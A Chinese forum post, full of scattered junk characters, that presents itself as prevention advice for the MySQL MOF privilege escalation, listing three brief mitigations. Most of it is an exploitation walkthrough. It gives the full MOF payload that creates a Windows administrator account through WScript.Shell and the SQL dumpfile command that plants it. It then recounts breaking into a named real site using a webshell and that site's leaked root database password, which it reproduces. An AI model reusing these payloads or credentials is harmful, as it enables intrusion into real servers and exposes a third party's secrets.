Mysql mof扩展漏洞防范方法
) X+ E" K( w! f! X3 G( H/ R2 s0 G% A5 ? C
网上公开的一些利用代码:# O# r5 E) K2 s! h
& V7 S& z1 a- _1 H$ P6 ^#pragma namespace(“\\\\.\\root\\subscription”)
# q. w" ?# D% l `, `: @) d; H8 ^4 B' x- l' \, a1 h3 t
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- |" Z; }8 T4 q8 S
; a" h/ S9 f! k$ m7 H1 w/ Q" w$ |9 ~ + ~7 s8 n; E9 k9 T) N
6 V0 @8 Y2 q- C7 i9 O- z7 r+ I2 i3 M
" w( }# q8 B0 q% |% c( E
: t1 G5 w* l3 l9 Z, z3 X连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’; f. ^& M% k2 i- ]
从上面代码来看得出解决办法:' p! ~" Y: ]( k" z2 P9 n/ E( a
+ I3 G v+ J% h0 s1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
+ E8 ~: z' p; z8 @
5 B' y- C0 v# J. I ]# M" F( f2、禁止使用”WScript.Shel”组件
! L. F: Q6 z( n' H. _6 c7 K7 B. v% N. Z4 e6 w/ A
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# R- s0 u( E# x! F; s8 F9 Y
+ _: ^/ V) W( X4 y* N! m, O4 T当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下2 Q5 j) @6 M* L. o4 E; a- @( r
# j' I. x) A `! h5 I# N
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
' S3 A! ]/ A5 s& [- O5 [* `/ `/ ]3 X8 N9 L
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容- h2 \/ q, @0 `; f# x
) S9 M+ y) e2 w8 Y7 p看懂了后就开始练手吧
; i% R# ?5 u$ y+ R+ b- y( v3 p( b' O7 O$ X0 j
http://www.webbmw.com/config/config_ucenter.php 一句话 a3 P; I& r1 r3 N$ A2 s: A1 O/ K
9 g! `1 `8 b7 l/ C4 ]6 _2 c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
$ Z* A. A$ I5 l) \4 C& v5 G
5 ^- m% A) g* v% S, d2 |( k于是直接用菜刀开搞4 o) S% ]4 S" t8 x" z% |7 H
4 O1 Z8 e3 c. r' i上马先$ y' ?+ D. c. e9 K6 D
; i: {" ]7 M9 |# o4 g1 E既然有了那些账号 之类的 于是我们就执行吧……./ c# \5 S4 U+ g `3 k5 A4 w. G: L
B# o2 g6 q. l( g6 |+ r
小小的说下
& H8 D: P+ D) `1 t, w4 V/ R7 N! `# Y8 V" {" G' o# U# C$ q
在这里第1次执行未成功 原因未知2 M* s7 f* p- [) x6 i
( l7 Y% T4 i p! N" `. f
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
9 ], n% k* o2 s+ n* f% v) [4 l$ d; K7 @2 j
#pragma namespace(“\\\\.\\root\\subscription”)* s2 H5 d9 @; j. X9 M5 h% A' _( r
: j7 {+ C0 L- M( kinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
/ h* R& H, b, c h% g6 }# I7 q
! ?/ X' Z- N j& B7 `我是将文件放到C:\WINDOWS\temp\1.mof3 Q3 m( z! s. u$ E3 \+ w
# N9 t" |' H( l4 d& l! j
所以我们就改下执行的代码8 O$ N0 o1 m8 P( h
- e" N# D+ g7 ^select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 O" Q! P* z7 D/ f/ \
* `3 a: D* s/ m j! p, }. Z$ u# _ G" K+ q
. q# O$ F' O/ ^# P# {8 {" ?2 ^但是 你会发现账号还是没有躺在那里。。
( J- @% M/ }, s }4 I9 W( i; l0 P& w. H$ d$ |! L: r# J
于是我就感觉蛋疼% u, O7 h/ d+ r) V" G, o/ ^$ ]
7 L1 }$ j8 k( N9 k2 _ G
就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 k" u' }0 _, n
4 a) u9 s) S' k5 g w, b2 }: x* A- z
: o( i* s: L5 o, ]8 I2 V6 P. O但是其他库均不成功…' ~5 r, p Y5 c# t) K
- R' R5 a; y+ A0 x9 s
我就很费解呀 到底为什么不成功求大牛解答…
/ C* N) S3 U) }: h2 Z7 H
* J/ ~; U7 O9 G" e! j
3 p0 A' u2 M' L( T2 Y+ _8 T* d. a7 R" U3 J- b6 |" s1 G! u
|